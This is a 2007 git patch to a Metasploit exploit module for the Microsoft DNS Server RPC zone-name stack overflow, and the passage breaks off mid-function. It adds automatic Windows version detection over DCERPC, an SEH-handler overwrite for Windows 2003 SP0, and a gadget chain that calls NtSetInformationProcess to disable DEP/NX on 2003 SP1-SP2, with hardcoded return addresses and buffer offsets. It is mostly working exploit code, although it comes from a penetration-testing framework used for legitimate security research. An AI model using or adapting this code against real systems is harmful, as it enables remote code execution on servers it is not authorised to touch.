From 689627264581bc69524dadb5b88057471e89a84d Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 19 Apr 2007 17:43:30 +0000 Subject: [PATCH] New codes :) git-svn-id: file:///home/svn/framework3/trunk@4710 4d416f70-5f16-0410-b530-b9f4589650da --- .../exploits/windows/dcerpc/msdns_zonename.rb | 150 ++++++++++++++---- 1 file changed, 118 insertions(+), 32 deletions(-) diff --git a/modules/exploits/windows/dcerpc/msdns_zonename.rb b/modules/exploits/windows/dcerpc/msdns_zonename.rb index 0bd3363cd0..f870b8e52a 100644 --- a/modules/exploits/windows/dcerpc/msdns_zonename.rb +++ b/modules/exploits/windows/dcerpc/msdns_zonename.rb @@ -30,7 +30,11 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo enabled. }, - 'Author' => [ 'hdm' ], + 'Author' => + [ + 'hdm', # initial module + 'anonymous' # 2 anonymous contributors (2003 support) + ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => @@ -45,7 +49,7 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo }, 'Payload' => { - 'Space' => 1024, + 'Space' => 500, # The payload doesn't matter, but make_nops() uses these too 'BadChars' => "\x00", @@ -56,25 +60,16 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo 'Platform' => 'win', 'Targets' => [ - [ 'Windows 2000 SP0-SP4 / Windows 2003 SP0-SP2 English', - { - 'Addresses' => # Offsets must not overlap -4 or +9 - [ - [ 1213, 0x75022ac4 ], # Windows 2000 SP0-SP4 ws2help.dll - [ 1593, 0x7ffc0960 ], # Windows 2003 SP0 ??? (unreliable?) - [ 1633, 0x76a81a60 ], # Windows 2003 SP1-SP2 atl.dll - ] - } - ], - - # WS2HELP.DLL - [ 'Windows 2000 Server SP0-SP4+ English', { 'Off' => 1213, 'Ret' => 0x75022ac4 } ], + [ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ], - # Unknown, probably unreliable - [ 'Windows 2003 Server SP0 English', { 'Off' => 1593, 'Ret' => 0x7ffc0960 } ], + # WS2HELP.DLL + [ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ], + + # Use the __except_handler3 method + [ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x41414144, 0x048f388e, 0x762108ed] } ], - # ATL.DLL (no SafeSEH) (still blocked by hardware DEP) - [ 'Windows 2003 Server SP1-SP2 English', { 'Off' => 1633, 'Ret' => 0x76a81a60 } ], + # ATL.DLL (bypass DEP/NX) + [ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ], ], 'DisclosureDate' => 'Apr 12 2007', @@ -91,6 +86,12 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo # Ask the endpoint mapper to locate the port for us dport = datastore['RPORT'].to_i + + if (dport != 0 && (target.name =~ /Automatic/)) + print_status("Could not use automatic target when the remote port is given"); + return + end + if (dport == 0) dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp') @@ -101,6 +102,30 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo end print_status("Discovered Microsoft DNS Server RPC service on port #{dport}") + + if (target.name =~ /Automatic/) + + # scheduler service is only available on 2k3 SP0 and 2000 + schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp') + if (not schedport) + print_status("Detected a Windows 2003 SP1-SP2 target...") + target = targets[3] + else + # only available on 2003 SP0 + schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp') + + if (not schedport) + print_status("Detected a Windows 2000 SP0-SP4 target...") + target = targets[1] + else + print_status("Detected a Windows 2003 SP0 target...") + target = targets[2] + end + end + else + + end + end # Connect to the high RPC port @@ -115,26 +140,87 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo # Create our buffer with our shellcode first txt = Rex::Text.rand_text_alphanumeric(8192) - txt[0, payload.encoded.length] = payload.encoded + + if (target['OS'] =~ /2000/) + txt[0, payload.encoded.length] = payload.encoded - # Handle multi-return targets - if (target['Addresses']) - target['Addresses'].each do |ent| - off, ret = ent - txt[ off ] = [ret].pack('V') - txt[ off - 4, 2] = "\xeb\x06" - txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V') - end - # Handle single-return targets - else off = target['Off'] txt[ off ] = [target.ret].pack('V') txt[ off - 4, 2] = "\xeb\x06" txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V') + + elsif (target['OS'] =~ /2003SP0/) + txt[0, payload.encoded.length] = payload.encoded + + off = target['Off'] + txt[ off ] = [target['Rets'][0]].pack('V') # __except_handler3 + txt[ off - 4, 2] = "\xeb\x16" + txt[ off + 4, 4] = [target['Rets'][1]].pack('V') # A + txt[ off + 8, 4] = [target['Rets'][2]].pack('V') # B + + # addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9) + # + # then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here : + # + # 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0 + # 0x77f443d0 mov eax, [ebp+arg_0] + # 0x77f443d3 pop esi + # 0x77f443d4 pop edi + # 0x77f443d5 leave ; mov esp, ebp + # 0x77f443d6 retn ; ret + + txt[ off + 16, 4] = [target['Rets'][3]].pack('V') # jmp esp + txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V') + + elsif (target['OS'] =~ /2003SP12/) + off = target['Off'] + ib = target['IB'] + txt[ off ] = [ib + 0x2566].pack('V') + + + # to bypass NX we need to emulate the call to ZwSetInformationProcess + # with generic value (to work on SP1-SP2 + patches) + + off = 445 + + # first we set esi to 0xed by getting the value on the stack + # + # 0x76a81da7: + # pop esi <- esi = edh + # retn + + txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V') + txt[ off + 28, 4] = [0xed].pack('V') + + # now we set ecx to 0x7ffe0300, eax to 0xed + # 0x76a81da4: + # pop ecx <- ecx = 0x7ffe0300 + # mov eax, esi <- eax == edh + # pop esi + # retn + + txt[ off + 32, 4] = [ib + 0x1da4].pack('V') + txt[ off + 36, 4] = [0x7ffe0300].pack('V') + + # finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4) + # 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX + # 0x76a8109c: + # call dword ptr [ecx] + + txt[ off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx] + txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV') + + # we catch the second exception to go back to our shellcode, now that + # NX is disabled + + off = 1013 + txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll) + txt[ off + 24, payload.encoded.length ] = payload.encoded + end - + req = '' - + # Convert the string to escaped octal txt.unpack('C*').each do |c| req << "\\"